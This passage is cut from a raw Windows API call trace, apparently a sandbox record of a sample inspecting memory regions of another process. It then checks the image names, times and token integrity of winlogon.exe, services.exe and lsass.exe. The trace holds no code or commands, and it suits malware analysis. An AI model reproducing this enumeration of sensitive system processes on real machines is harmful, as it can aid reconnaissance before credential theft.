(pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.839] NtClose (Handle=0x1f0) returned 0x0 [0057.840] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0057.840] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x67000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76db2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76db2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76dc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76dc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc4000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x66000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76e2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76e30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e30000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76ecc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76ecc000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6e000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76f3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3a000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76f3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3c000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x13000), ResultLength=0x0) returned 0x0 [0057.846] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76f4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f4f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x76f50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f50000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77053000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77053000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77082000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77082000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77083000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77083000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77084000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77084000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77085000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77085000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77087000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77087000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77088000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77088000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77089000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77089000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.847] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7708b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708b000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7708e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708e000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x770f9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x770f9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7ee7000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefcddb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddb000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefcddc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddc000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefcddf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddf000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.848] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefcde0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcde0000, AllocationBase=0x7fe, AllocationProtect=0xfcde0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.850] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd03a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd03a000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x16000), ResultLength=0x0) returned 0x0 [0057.850] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd050000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd050000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.850] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd052000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd052000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.850] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd05b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd05b000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x215000), ResultLength=0x0) returned 0x0 [0057.850] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd270000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd2c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2c2000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xa000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd2cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cc000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd2cd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cd000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd2ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2ce000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd2d7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2d7000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6c9000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefd9a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd9a0000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefda83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfda83000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2c000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdaaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdaaf000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdab1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdab1000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdacd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdacd000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.851] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdad0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdad0000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb4a000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x17000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb61000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb63000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb64000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb65000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb67000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0057.852] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefdb6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb6f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x161000), ResultLength=0x0) returned 0x0 [0057.854] QueryFullProcessImageNameW (in: hProcess=0x180, dwFlags=0x0, lpExeName=0xf3a068, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x17af784) returned 1 [0057.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a068) returned 1 [0057.854] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.854] IsWow64Process (in: hProcess=0x180, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.854] NtQueryInformationProcess (in: ProcessHandle=0x180, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.854] GetProcessTimes (in: hProcess=0x180, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.854] OpenProcessToken (in: ProcessHandle=0x180, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.854] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.854] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.854] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.854] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.854] NtClose (Handle=0x1f0) returned 0x0 [0057.870] QueryFullProcessImageNameW (in: hProcess=0x16c, dwFlags=0x0, lpExeName=0xf8e300, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x17af784) returned 1 [0057.870] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf8e300) returned 1 [0057.870] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.870] IsWow64Process (in: hProcess=0x16c, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.870] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.870] GetProcessTimes (in: hProcess=0x16c, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.870] OpenProcessToken (in: ProcessHandle=0x16c, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.870] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.870] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.871] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.871] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.871] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.871] NtClose (Handle=0x1f0) returned 0x0 [0057.886] QueryFullProcessImageNameW (in: hProcess=0x178, dwFlags=0x0, lpExeName=0xf8e300, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x17af784) returned 1 [0057.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf8e300) returned 1 [0057.886] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.886] IsWow64Process (in: hProcess=0x178, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.886] NtQueryInformationProcess (in: ProcessHandle=0x178, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.886] GetProcessTimes (in: hProcess=0x178, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.886] OpenProcessToken (in: ProcessHandle=0x178, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.886] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.886] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.886] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), 